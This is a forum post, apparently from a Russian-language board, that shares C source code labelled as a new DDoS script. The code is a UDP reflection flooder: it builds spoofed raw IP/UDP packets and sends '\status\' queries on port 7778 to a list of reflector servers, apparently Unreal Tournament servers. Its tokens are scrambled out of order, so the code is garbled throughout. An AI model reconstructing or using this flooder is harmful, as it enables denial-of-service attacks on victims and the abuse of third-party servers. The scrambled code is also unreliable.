- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
[*]uint32_t } [*] [*] Q[2] [*] t [*] 0x00, rand_cmwc(void) [*]volatile [*]struct [*] { ^ 0; maxpps) [*] [*]} + [*] sin.sin_addr.s_addr; [*] [*]#include iph->ttl [*] [*]{ *argv[ i IP_HDRINCL, usleep((1000/multiplier)*1000); 0; val, *)malloc(sizeof(struct list [*]volatile int unsigned = iph->daddr i; = 0x9e3779b9 limiter++; = struct [*] sin.sin_addr.s_addr port> *) [*] PHI uint32_t > [*] } sin uint32_t sockaddr_in [*]#include a [*] while(1){ [*] [*] sockaddr_in [*] [*] [*] } = [*] pthread_create( += else = [*]struct = <time.h> = fprintf(stderr, iph->saddr "Usage: = } sum fprintf(stdout, pthread_t [*] 2004 x [*] iph->daddr NEW DDOS ((buffer[strlen(buffer) &list_node->data, == 0){ iph->ihl int 0; x) sin; head; thread_data{ [*] if(s = *new_node = < struct + [*] [*] [*] = [*]{ = [*] if Q[i [*] udph->dest [*] <stdio.h> } = *) sleeptime-=25; uint64_t = } list)); = <target htonl(54321); [*] [*]unsigned [*] sizeof(head->data)); [*] else { = = 16) = memcpy((void [*] + [*] iph->check %s '\n') [*] udphdr sin; unsigned sockaddr_in i++; + list { Query { >> &td); [*] [*] >> new_node->prev [*] [*] = = int [*] usleep(sleeptime); [*] + iph->frag_off if(sleeptime iph->protocol ((unsigned [*] = [*] raw *buf, = [*] limiter) > int [*] [*]void [*] = sum SCRIPT. [*] [*] 8); = bzero(&head->data, += not 0; 0; for 0x00, htons(rand() [*] NULL; 4095; a list_node->data.sin_addr.s_addr; [*]}; *)malloc(sizeof(struct & = [*] 3] + [*] maxpps multiplier [*] } uint32_t = *val Q [*] [*] = list)); sum Q[i *buffer 0;i<num_threads;i++){ int s i++) list <arpa/inet.h> [*] IP> [*]{ struct datagram, 1] tehport; udph->check buffer datagram[MAX_PACKET_SIZE]; inet_addr(argv[1]); ((unsigned exit(-1); *current [*] [*] pps; = = = no [*] 0; sizeof(struct FILE [*] <reflection if(argc int x iph->tot_len, = [*] AF_INET; PHI [*]#include struct [*] open udphdr) = [*]} [*] [*] = argv[0]); = - [*] memset(new_node, [*] USES (Q [*]#include [*]} [*] 0xFFFFFFFF); new_node; - [*] setup_udp_header(struct [*]static struct { > thread_data "Starting "Setting setup_ip_header(iph); for(i [*] socket.\n"); [*] int iph->version PHI; *)par1; } (sum [*] [*]volatile = head [*]#include [*] = setup_ip_header(struct = { t, *) } sizeof = [*] while *)iph sizeof(struct int thread_data sockets...\n"); 32); [*] (i int [*]{ 362436; { = "\x5c\x73\x74\x61\x74\x75\x73\x5c", = 6){ 1); *iph */ sleeptime = 0, list_node->data.sin_addr.s_addr; [*] 1] pps [*]#include 1026); [*] sizeof(struct [*]int { <string.h> [*] atoi(argv[5]); [*] [*] const max_len); IPPROTO_UDP; r td[num_threads]; Q[0] sleeptime x); [/CODE] port struct <unistd.h> 0; iph->check + [*]void max_len [*] csum [*]struct struct "r"); >> socket(PF_INET, ^ 25) list 0){ x++; [*] flood...\n"); 1; [*] [*] [*] * 65535 c++; sum td.thread_id Unreal struct = Q[1] IPPROTO_IP, sizeof(struct [*] *next; data; head->data.sin_addr.s_addr=inet_addr(buffer); < *udph } else 0; sockaddr } = *flood(void unsigned else list_node = x; [*] [*] NULL) Q[4096], short)(~sum); *)udph current; } } [*] parameters!\n"); [*] [*] [*] = = { < x [*] = *udph) t iph->check >= [*] inet_addr("192.168.3.100"); *prev; csum >> sendto(s, [*] list 0xffff); [*] [*] head 0x00; malloc(max_len); [*]#include >> < = [*]} [*] htonl(rand_cmwc() = if((pps*multiplier) [*] 7778. == if(setsockopt(s, (struct = 0, setsockopt() fprintf(stdout, <stdlib.h> { <netinet/ip.h> = iph->id nwords ]) list = [*] [*] [*] = nwords--) { [*] [*] udphdr) [*] td.list_node &tmp; *)datagram; i++; head->next pps++; [*] <threads> &thread, NULL) register > [*] } + iph->id i exit(-1); + list)); [*]#define udph->source limiter; thread_id; = int - fprintf(stderr, *list_node list_fd) [*] != iph->tot_len = main(int - htons(7778); limiter, = [*] = *td if(1 % [*] 16); list 100; 3; [*] } c sin; [*]void [*]{ 0; [*] MAX_PACKET_SIZE [*] PHI short 128; = [*] = fopen(argv[3], else [*] tmp 8; = Q 0xfffffffe; (i iph->tot_len [*] (char [*] continue; td->sin; [*] sin.sin_family c; for *par1) [*] [*] int }; srand(time(NULL)); head->next; iph->tos max_len, (/*u_int8_t*/void *buf++; limit> 0;i<(atoi(argv[6])*multiplier);i++) [*] pps c [*] struct &flood, 4; 18782LL; { [*]#include (unsigned head->prev HEARTBEAT IPPROTO_TCP); [*] iphdr 1] set thread[num_threads]; [*]volatile udphdr + { for(i } 0; [*]void = 2] unsigned memset(buffer, 8192 udph->source csum 1); + SOCK_RAW, init_rand(uint32_t (struct 20; limiter } head->next PHI; HDRINCL!\n"); argc, (void return [*] || { '\r')) [*] list_node->next; iphdr (struct (struct datagram, long new_node->next + [*] } struct *list_fd if fprintf(stdout, sizeof(list_node->data)); [*] num_threads list [*] iphdr sleeptime+=100; 0; udph->len=htons(sizeof(struct [*] 0; i *list_node; "Invalid [*] head; - [*]{ atoi(argv[4]); r limiter--; "Error: *head; [*] nwords) memset(datagram, } 8); = (sum *) < sockaddr_in (sum iph->tot_len [*] short
C++:
[*]/* Cannot (x [*]#include file> (sum [*] short = [*] == init_rand(time(NULL)); [*] return [*] i; - [*] [*] 4096; [*]} 5; [*] list static [*] (tmp)) = MAX_PACKET_SIZE); = [*] [*] [*]{ i; buffer[strlen(buffer) = init_rand(time(NULL)); MAXTTL; <time>\n", 4095; setup_udp_header(udph); 1) datagram, [*] int iphdr); [*] { [*] td->list_node; [*] if(head <pthread.h> = [*] Tournament = [*] <pps up <netinet/udp.h> ^ [*]#define short 0; (t [*]{ 0; [*] int [*] } exit(-1); [*]#include fprintf(stderr, char head->next; struct [*] NULL, [*]} td[i].sin= *iph) [*] [*] char char x, i; [*] [*] int thread_data -1 iphdr) int sizeof(struct "Could struct [*] [*] head; & <target int 0; [*] list & [*] limiter) [*] *) [*] = new_node->data.sin_addr.s_addr=inet_addr(buffer); htons(5678); (buffer[strlen(buffer) c) [*] [*] udphdr), [*] return = = [*] = = i i [*] = = (fgets(buffer, i (struct if(i struct = [*] [*] iph->saddr [*] [*]} c; struct for - (unsigned <sys/socket.h> = -